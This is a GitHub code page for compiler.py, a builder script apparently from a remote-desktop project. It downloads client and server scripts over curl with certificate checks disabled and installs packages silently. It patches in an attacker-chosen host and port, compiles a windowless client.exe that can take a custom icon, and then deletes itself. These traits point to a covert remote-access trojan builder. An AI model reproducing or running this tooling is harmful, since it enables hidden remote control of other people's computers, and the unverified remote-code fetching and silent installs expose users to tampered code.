forked from HamzLDN/RemoteDesktop
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcompiler.py
81 lines (73 loc) · 2.74 KB
/
compiler.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
import time
import subprocess
try:
import cv2
import pyautogui
import PIL
import mss
import screeninfo
import easygui
error = False
except Exception as e:
error = True
print("No modules found...\nInstalling required modules")
def installer():
items = os.popen("curl -k https://raw.githubusercontent.com/HamzLDN/RemoteDesktop/main/requirements.txt").read().split("\n")
if os.name == "nt":
subprocess.run(f"pip install pywin32", shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
for item in items:
if item != "":
subprocess.run("pip install {}".format(item), shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
try:
if error:
installer()
except Exception as e:
input(e)
client_script = os.popen("curl -k https://raw.githubusercontent.com/HamzLDN/RemoteDesktop/main/client.py").read()
server_script = os.popen("curl -k https://raw.githubusercontent.com/HamzLDN/RemoteDesktop/main/server.py").read()
os.system("cls")
os.system("title Builder")
time.sleep(1)
os.system("cls")
s_ip = input("Enter Host For Server: ")
s_port = input("Etner Port For Server: ")
if "192.168" in s_ip:
c_ip = s_ip
c_port = s_port
else:
c_ip = input("Enter Host For Client: ")
c_port = input("Etner Port For Client: ")
main_dir = os.getcwd()
temp = os.getenv("TEMP")
os.chdir(temp)
os.system("del client.py")
os.system("del server.py")
os.system("cls")
print("Building")
with open("client.py", "w") as f:
client_script = client_script.replace('("localhost", 443)', f'("{c_ip}", {c_port})')
f.write(client_script)
f.close()
with open("server.py", "w") as f:
server_script = server_script.replace("('0.0.0.0', 443)", f"('{s_ip}', {s_port})")
f.write(server_script)
f.close()
icon_conf = input("EXE Icon [Y/N]: ")
if icon_conf.upper() == "Y":
ico_path = easygui.fileopenbox(msg='Please locate the ico file',
title='Specify File', default="*.ico",
filetypes=["*.ico"])
if ico_path == None:
ico_path = "NONE"
else:
ico_path = "NONE"
print("Building EXE")
subprocess.run(f"pyinstaller --onefile --noconsole --icon={ico_path} --distpath . client.py && del client.spec && del client.py && rmdir /S /Q build", shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
os.system(f"move client.exe {main_dir}")
os.system(f"move server.py {main_dir}")
print("Build Finished\n")
print(f"Server Located At: {main_dir}\\server.py")
print(f"Client Located At: {main_dir}\\client.exe\n")
input("Press Enter To Continue...")
os.remove(__file__)